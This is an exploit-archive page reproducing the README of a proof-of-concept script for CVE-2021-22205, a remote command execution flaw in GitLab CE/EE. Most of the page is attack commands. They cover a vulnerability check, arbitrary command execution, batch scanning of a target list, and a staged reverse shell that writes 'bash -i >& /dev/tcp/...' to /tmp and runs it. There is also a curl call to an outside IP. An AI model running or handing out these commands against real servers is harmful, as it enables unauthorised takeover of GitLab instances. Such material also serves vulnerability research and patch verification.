Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source
Associated Vulnerability
Title:GitLab 代码注入漏洞 (CVE-2021-22205)
Description:An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.
Description
CVE-2021-22205& GitLab CE/EE RCE
Readme
### Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

### Vuln Product

- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8

### Environment

```C
export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0
```

### Vunl Check

##### Basic usage

```c
python3 CVE-2021-2205.py
```

![img](img/usage.png)

##### Vuln check

```c
python3 CVE-2021-2205.py -v true -t http://gitlab.example.com
```

![img](img/check.png)

##### command execute

```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"
```

![attack](img/attack.png)

```c
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"
```

![attack_command1](img/attack_command1.png)

![attack_command2](img/attack_command2.png)

##### batch scan

```
python3 CVE-2021-2205.py -s true -f target.txt
```

![scan_result](img/scan_result.png)

##### Reserve Shell

```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
```

![reverse_shell1](img/reverse_shell1.png)

![reverse_shell2](img/reverse_shell2.png)

```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"
```

![reverse_shell3](img/reverse_shell3.png)

![reverse_shell4](img/reverse_shell4.png)

```
python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"
```

![reverse_shell5](img/reverse_shell5.png)

### Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
File Snapshot

[4.0K] /data/pocs/f6b5aeb6ea855bf583f6ff679658f3cd699c8410 ├── [7.1K] CVE-2021-22205.py ├── [4.0K] img │   ├── [ 42K] attack_command1.png │   ├── [101K] attack_command2.png │   ├── [ 57K] attack.png │   ├── [ 36K] check.png │   ├── [ 42K] reverse_shell1.png │   ├── [ 96K] reverse_shell2.png │   ├── [ 37K] reverse_shell3.png │   ├── [107K] reverse_shell4.png │   ├── [ 96K] reverse_shell5.png │   ├── [ 35K] scan_result.png │   └── [ 31K] usage.png ├── [2.1K] README.md └── [ 26] target.txt 2 directories, 14 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →